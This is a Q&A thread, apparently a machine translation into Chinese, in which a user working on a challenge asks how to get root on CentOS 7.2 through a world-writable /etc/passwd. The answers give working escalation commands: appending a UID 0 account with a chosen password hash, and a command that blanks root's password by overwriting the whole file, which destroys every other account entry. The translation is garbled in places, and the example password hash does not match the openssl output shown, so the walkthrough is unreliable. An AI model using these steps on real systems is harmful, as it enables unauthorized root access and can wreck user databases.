如果我在系统上有一个世界可写 /etc/passwd 文件,我如何将我的权限提升到 root?我目前是一个弱势用户。如果您想知道,底层操作系统是 CentOS 7.2
我知道 passwd 文件通常不是世界可写的,我正在做一个具有当前场景的挑战。
任何利用步骤都将非常有帮助
如果我在系统上有一个世界可写 /etc/passwd 文件,我如何将我的权限提升到 root?我目前是一个弱势用户。如果您想知道,底层操作系统是 CentOS 7.2
我知道 passwd 文件通常不是世界可写的,我正在做一个具有当前场景的挑战。
任何利用步骤都将非常有帮助
密码通常存储在 中/etc/shadow
,用户无法读取。/etc/passwd
但是,从历史上看,它们与所有帐户信息一起存储在世界可读的文件中。为了向后兼容,如果密码哈希出现在 中的第二列/etc/passwd
,它优先于/etc/shadow
.
从历史上看,空的第二个字段/etc/passwd
意味着该帐户没有密码,即任何人都可以在没有密码的情况下登录(用于访客帐户)。这有时会被禁用。如果无密码帐户被禁用,您可以输入您选择的密码的哈希值。您可以使用该crypt
函数生成密码哈希,例如perl -le 'print crypt("foo", "aa")'
将密码设置为foo
.
即使您只能追加/etc/passwd
而不覆盖内容,也可以获得 root 访问权限。这是因为同一个用户可以有多个条目,只要他们有不同的名字——用户是通过他们的 ID 而不是他们的名字来识别的,并且 root 帐户的定义特征不是它的名字而是它的事实用户 ID 为 0。因此,您可以通过附加一行声明具有另一个名称的帐户、您选择的密码和用户 ID 0 来创建备用 root 帐户。
只需输入:
echo root::0:0:root:/root:/bin/bash > /etc/passwd
su
你是根。
(删除x
意味着 root 不再需要密码,您可以使用sed
命令代替,echo
但这足以获得 root shell)
您可以使用这种非破坏性方法:
# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE
# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd
# to switch to a root2
su root2
Password: mrcake
您可以将 root shell 重定向到您家中的程序。这样的程序以root身份运行,在这样的程序中你可以获得特权(例如通过设置setuid),或者只是做你想做的事。考虑到各种进程都会运行 root shell,你很快就能获得 root 权限。